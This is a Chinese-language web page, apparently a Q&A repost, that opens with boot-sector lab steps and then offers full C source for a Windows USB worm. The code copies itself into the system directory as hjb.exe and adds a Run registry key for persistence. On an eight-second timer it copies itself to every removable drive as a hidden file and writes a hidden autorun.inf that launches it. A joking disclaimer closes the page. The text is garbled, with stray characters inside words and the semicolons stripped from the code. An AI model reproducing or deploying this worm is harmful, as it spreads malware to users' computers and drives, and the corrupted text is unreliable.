2、利用命令或winhex等工具将编译好的二进制程序写入U盘的主引导记录
3、开机,选择U盘启动,观察实验效果。
4、进一步地,丰富前述程序的功能,如增加键盘中断,可以对键盘上的动作进行岁旦响应(如敲入某字搜雀帆符X,屏幕能回显即可)。
5、再次写入引导扇区世雹,观察实验效果
不管处于目的是什么,为了学知识攒经验还是值得考虑的。我不知道该如何实现这个程序。但我有点不成熟指知的想法供你参考:1.该程序必须在系统启动后即可运行,windows要在注册表里添加启动项,linux要在/etc/rc.d/rc.local文件中添加启动路径。
2.该程序必须能够正确识别u盘的路径,防止误格式闷慎化。
3.该程序必须调唯罩消用底层的系统函数来对格式化命令进行 *** 作。
#include<windows.h>#include "Shlwapi.h"
LRESULT CALLBACK myproc(HWND,UINT,WPARAM,LPARAM)
void setBoot()//设置启动毕塌陵
void infect()//感染U盘
void CALLBACK TimerProc(HWND,UINT,UINT,DWORD)
HWND hwnd
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
{
MSG msg
WNDCLASS wndclass
wndclass.cbClsExtra=0
wndclass.cbWndExtra=0
wndclass.hbrBackground=HBRUSH(COLOR_MENU+1)
wndclass.hCursor=LoadCursor(NULL,IDC_CROSS)
wndclass.hIcon=NULL
wndclass.hInstance=hInstance
wndclass.lpfnWndProc=myproc
wndclass.lpszClassName="test"
wndclass.style=CS_VREDRAW|CS_DBLCLKS|CS_HREDRAW|CS_OWNDC
wndclass.lpszMenuName=NULL
RegisterClass(&wndclass)
hwnd=CreateWindow("test","test1",WS_OVERLAPPEDWINDOW,200,200,200,200,NULL,NULL,hInstance,NULL)
while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg)
DispatchMessage(&msg)
}
return 0
}
LRESULT CALLBACK myproc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam)//窗口手戚函数
{
switch(message)
{
case WM_CREATE:
setBoot()
SetTimer(hwnd,1,8000,TimerProc)//定时发现并感染U盘,间隔8秒
return 0
case WM_DESTROY:
PostQuitMessage(0)
return 0
default:
return DefWindowProc(hwnd,message,wParam,lParam)
}
}
void setBoot()//设置为启动进程
{
int pcount
int i
char position[512]
char fileName[]={"\\hjb.exe"}
pcount=GetSystemDirectory(position,512)
for(i=pcountfileName[i-pcount]!='\0'i++)//获取系统目录
{
position[i]=fileName[i-pcount]
}
position[i]='\0'
char buffer[255]
if(PathFileExists(position)==false)//复制衫斗文件到系统目录
{
GetModuleFileName(NULL,buffer,255)
CopyFile(buffer,position,FALSE)
}
char regname[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run"//修改注册表
HKEY hkResult
int rets
rets=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult)
rets=RegSetValueEx(hkResult,"theFile",0,REG_EXPAND_SZ,(unsigned char *)position,32)
if(rets==0)
{
RegCloseKey(hkResult)
}
}
void createINF(char drive)//生成U盘上的AUTORUN.INF文件
{
char autorun[]={"[autorun]\nopen=hjb.exe\n"}
char path[]={"x:\\autorun.inf"}
path[0]=drive
HANDLE inf
unsigned long count
inf=CreateFile(path,GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_HIDDEN,NULL)
if(inf!=INVALID_HANDLE_VALUE)
{
WriteFile(inf,autorun,sizeof(autorun),&count,NULL)
CloseHandle(inf)
}
}
void infect()//感染可移动磁盘
{
char i
char pat[255]
char buffer[255]
char fileName[]={"\\hjb.exe"}
pat[1]=':'
pat[2]='\\'
pat[3]='\0'
int j
for(j=3fileName[j-3]!='\0'j++)
{
pat[j]=fileName[j-3]
}
pat[j]='\0'
for(i='C'i<='Z'i++)
{
pat[0]=i
pat[3]='\0'
if(GetDriveType(pat)==DRIVE_REMOVABLE)//是U盘的话
{
pat[3]='\\'
GetModuleFileName(NULL,buffer,255)
CopyFile(buffer,pat,FALSE)
SetFileAttributes(pat,7)
createINF(i)
pat[3]='\0'
}
}
}
void CALLBACK TimerProc(HWND hwnd,UINT uMsg,UINT idEvent,DWORD dwTime)//定时器函数
{
infect()
}
仅供参考 不要用来干坏事哦^_^
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)